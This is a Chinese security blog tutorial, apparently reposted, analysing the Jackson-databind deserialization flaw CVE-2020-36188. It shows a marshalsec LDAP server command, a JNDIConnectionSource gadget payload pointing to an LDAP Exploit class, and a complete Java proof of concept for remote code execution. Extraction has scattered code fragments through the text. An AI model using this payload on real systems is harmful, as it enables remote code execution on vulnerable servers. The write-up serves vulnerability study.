打开网易新闻 查看更多图片

0x01 前言

这里将分析Jackson反序列化漏洞(CVE-2020-36188)的分析过程,同时将会把如何从漏洞通告来分析构造并且调试出POC代码分享给大家。

0x01 Jackson的介绍

大家都苦受Fastjson动不动就爆出一个反序列化漏洞而苦恼,从而将目光转向了Jackson。

相比于Fastjson,Jackson不仅开源稳定易使用,而且拥有Spring生态加持,更受使用者的青睐。然而Jackson似乎也陷入了白帽子不断发现可利用Gadget,Jackson不断增加黑名单的泥坑当中。最近甚至一次性通告了十来个CVE。

具体Jackson如何使用就不在这里浪费篇幅,大家可以百度获取相关信息。

0x02 Jackson漏洞简述

Jackson的漏洞主要集中在jackson-databind中,当启用Global default typing,类似于FastJson的autoType,会存在各种各样的反序列化绕过类,而官方更新的防护措施一般都是将新出现的恶意类加入黑名单。如果需要完全杜绝这种频繁的升级体验,可以升级到版本,这个版本中Jackson使用了白名单进行恶意类的防护。

2.10.x

下面会以最近漏洞通告中的进行分析一下如何对一个新出现的漏洞进行分析,并且不再依赖他人,自己来编写POC。

CVE-2020-36188

0x03 Jackson漏洞详细分析

以下摘抄一下这次漏洞通告中的信息:

CVE-2020-36188FasterXML jackson-databind 2.x < 2.9.10.8的版本存在该漏洞,该漏洞是由于com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource组件库存在不安全的反序列化,导致攻击者可能利用漏洞实现远程代码执行。

从漏洞通告信息中我们可以了解到该漏洞的影响版本及Gadget的第三方库信息。

先来搭建一下测试环境:

ladp环境简单讲述一下,如有疑惑百度即可。

python -m http.serverjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#Exploit

接下来创建环境并添加依赖,我这里使用IDEA+Maven。还需要注意一下JDK版本,我这里使用的是。

jdk1.8.0_144

首先添加的依赖,我们选择2.9.9版本(也可以选择影响范围内的其它版本)。

jackson

com.fasterxml.jackson.coregroupId> jackson-databindartifactId> 2.9.9version>dependency>

然后添加一下Gadget所在的第三库依赖,推荐使用https://search.maven.org/去搜索组件在哪一个第三方库当中。

使用做为搜索关键字,这里指,即完整class路径。

fc:com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource

fc

full class

可以看到我们需要的第三方依赖库是,需要注意版本使用搜索结果中的就可以,搜索结果外的版本可能去除或者修改了当前组件。

newrelic-agent

也可以直接去的Github上查找相关描述

Jackson

打开网易新闻 查看更多图片

添加的依赖

newrelic-agent

com.newrelic.agent.javagroupId> newrelic-agentartifactId> 3.38.0version>dependency>

接下来参考一下jackson反序列化其它相似漏洞POC代码,这里参考使用了的POC代码。

CVE-2020-35490

ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]"; Object o = mapper.readValue(payload, Object.class); mapper.writeValueAsString(o);

可以看到payload的中的就是存在不安全反序列化的组件路径,而后面的参数就是类的属性。

com.nqadmin.rowset.JdbcRowSetImpl

JdbcRowSetImpl

根据漏洞通告中的组件信息,我们将前面的参数替换一下,接下来就需要去搜索代码查看类属性需要怎么设置了。

这里需要插入一点的是当前Jackson反序列化漏洞都是JNDI注入导致的远程代码执行,那么我们需要做的就是在存在不安全反序列化的组件中查找可以触发JNDI注入的代码。

在漏洞描述的不安全类中搜索关键字

lookup

这里的就是会触发JNDI注入的关键代码

lookup

Context initialContext = new InitialContext();Object obj = initialContext.lookup(this.jndiLocation);

那么我们就需要在payload中设置相应的属性,这里就是,通过再次搜索代码可以看到有一个方法,并且在反序列化过程是会自动调用setter方法的,那我们直接在payload中设置属性就可以了。

jndiLocation

jndiLocation

setJndiLocation

{"jndiLocation":"ldap://127.0.0.1:1389/Exploit"}

然后再查看所在代码的触发条件,所在的函数是,这个函数在函数中存在,当的时候会执行到,而在第一次进入时默认就是。

lookup

lookupDataSource

getConnection

dataSource == null

dataSource

null

这里还利用到的一点就是在序列化的时候,Jackson会先利用反射找到对象类的所有get方法,接下来去掉get前缀,然后首字母小写,作为json的每个key值,而get方法的返回值作为value。就是说方法会在序列化时被自动调用,意味着会在序列化时被调用到。我们的POC代码中最后使用对对象进行了序列化操作,所以payload只要设置属性就可以了。

getter

getConnection

writeValueAsString

jndiLocation

最后,完整的payload就是这样样子的了

String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";

完整的POC如下:

import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class CVE_2020_36187 { public static void main(String[] args) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]"; Object o = mapper.readValue(payload, Object.class); mapper.writeValueAsString(o); }}

至于Jackson是怎么反序列化触发就不进行赘述了,与其它的相似漏洞都是一致的,最后执行一下,看下效果。

JNDIConnectionSource

在代码上打下断点debug就可以在左下角看到完整的利用链了

lookup

打开网易新闻 查看更多图片

0x04 结语

在本篇中给大家介绍了Jackson反序列化当中使用JNDI进行触发的分析过程,大家以后也可以构造这一类的POC了吼。